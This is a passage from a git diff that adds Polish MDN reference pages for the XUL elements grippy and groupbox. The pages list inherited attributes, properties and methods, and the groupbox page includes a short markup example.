+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt>Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/columns" title="columns">columns</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/column" title="column">column</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/rows" title="rows">rows</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/row" title="row">row</a></code>.
+</dd></dl>
diff --git a/files/pl/mozilla/tech/xul/grippy/index.html b/files/pl/mozilla/tech/xul/grippy/index.html
new file mode 100644
index 0000000000..1f89bfc8e2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/grippy/index.html
@@ -0,0 +1,95 @@
+---
+title: grippy
+slug: Mozilla/Tech/XUL/grippy
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/grippy
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element, który można zastosować wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code>; stosowany do zwinięcia elementu siostrzanego względem rozdzielacza (tj. umieszczonego tuż obok niego - przyp. tłum). Przeglądarka Firefox nie obsługuje elementu grippy.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Rozdzielacze">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/groupbox/index.html b/files/pl/mozilla/tech/xul/groupbox/index.html
new file mode 100644
index 0000000000..74eb8d137b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/groupbox/index.html
@@ -0,0 +1,116 @@
+---
+title: groupbox
+slug: Mozilla/Tech/XUL/groupbox
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/groupbox
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Pudełko, które wyświetla ramkę wokół siebie, służące do grupowania szeregu logicznie powiązanych elementów. Jeśli element <code><a href="/pl/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code> zostanie umieszczony wewnątrz <code>groupbox</code>, zostanie użyty jako nagłówek, pojawiający się w górnej części elementu <code>groupbox</code>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Pola_grup">kursie XUL</a>.
+</p>
+<dl><dt> Własności </dt><dd> <a href="#p-accessible">accessible</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="Image:XUL_ref_groupbox.png"></div>
+<pre>&lt;groupbox&gt;
+ &lt;caption label="Settings"/&gt;
+ &lt;radiogroup&gt;
+ &lt;radio label="Black and white"/&gt;
+ &lt;radio label="Colour"/&gt;
+ &lt;/radiogroup&gt;
+ &lt;checkbox label="Enabled"/&gt;
+&lt;/groupbox&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
